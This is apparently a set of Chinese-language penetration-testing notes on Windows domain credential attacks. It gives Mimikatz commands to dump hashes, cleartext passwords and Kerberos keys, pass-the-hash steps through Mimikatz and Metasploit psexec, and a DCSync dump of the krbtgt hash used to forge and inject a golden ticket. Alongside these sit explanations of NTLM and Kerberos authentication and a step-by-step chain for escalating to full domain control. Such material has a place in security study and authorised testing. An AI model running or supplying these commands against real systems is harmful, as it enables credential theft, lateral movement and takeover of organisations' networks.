Hash(Key) 獲取
- 工具: Mimikatz
- 用法:
.\mimikatz.exe
privilege::debug #查看權限 sekurlsa::logonpasswords #獲取hash和明文密碼(如果可以的話) sekurlsa::ekeys #獲取kerberos加密憑證
Hash(Key)傳遞
Mimikatz
sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /ntlm:xxxxxxxxxxxx #hash傳遞 sekurlsa::pth /user:xxxxxxx /domain:xxxxxxx /aes256:xxxxxxxxxxxxxx #key傳遞
Metaspolit
傳遞Hash
msf> use windows/smb/psexec msf exploit(windows/smb/psexec)>set rhost a.b.c.d msf exploit(windows/smb/psexec)>set rport 445 (139會更好一點) msf exploit(windows/smb/psexec)>set smbuser xxxx msf exploit(windows/smb/psexec)>set smbpass hashdump中的hash msf exploit(windows/smb/psexec)>set domain xxxx msf exploit(windows/smb/psexec)>exploit
Windows NTLM哈希傳遞和票據的原理
Windows驗證的流程
- 1.首先用戶在客戶端輸入username、password、domain,然后客戶端會先將用戶輸入的password進行hash計算並保存在本地;
- 2.客戶端將username明文傳輸到域控機
- 3.然后域控會隨機生成16字節的challenge挑戰碼返回給客戶端
- 4.客戶端接收到challenge之后,會用之前password的hash進行加密(稱為response),和challenge、username一起發送給服務器
- 5.服務端將客戶端發來的信息轉發給域控
- 6.域控在接收到服務端發來的response、challenge、username,會拿着username在自己的活動目錄數據庫(ntds.dit)中查詢出對應的password hash,並對challenage進行一次加密,如果和用戶發來的response相同則身份驗證成功,否則則失敗。
kerberos協議認證原理
請參考我的博文Kerberos認證協議分析
Hash的利用方式
NTLM驗證靠HASH值,Kerberos靠票據(TICKET),在這里hash是可以傳遞的,使用hash可以直接登錄系統,滲透方式如下:
- 1.獲得一台域主機的權限
- 2.Dump內存獲得用戶hash
- 3.通過pass the hash嘗試登錄其他主機
- 4.繼續搜集hash並嘗試遠程登錄
- 5.直到獲得域管理員賬戶hash,登錄域控,最終成功控制整個域
引用:
但是在安裝了KB2871997補丁或者系統版本大於windows server 2012時,系統的內存中就不再保存明文的密碼(ps:可以通過在注冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest中新建鍵值來使下次管理員登陸后明文保存密碼,但是效率太低,不推薦),且禁止本地管理員賬戶用於遠程連接,這樣就無法以本地管理員用戶的權限執行wmi、PSEXEC、schtasks、at和訪問文件共享,但是唯獨默認的 Administrator (SID 500)賬號例外,依然可以通過這個賬號進行pass the hash進行攻擊
票據的利用方式
kerberos有兩種平票據:一種是silver ticket,有賬號hash加密,可以訪問特定的服務;另外一種是golden ticket,可以訪問域內所有服務;這個黃金票據是用kerberos賬戶的hash生成的,我們來看下操作:
# 1 首先我們要抓取kerboers的hash lsadump::dcsync /domain:xxx.xxxxx /user:krbtgt # 2 生成票據 kerberos::purge kerberos::golden /admin:administrator /domain:xxx.xxxx /sid:SID /krbtgt:hash值 /ticket:administrator.kiribi # 3 獲取權限 kerberos::ptt administrator.kiribi kerberos::tgt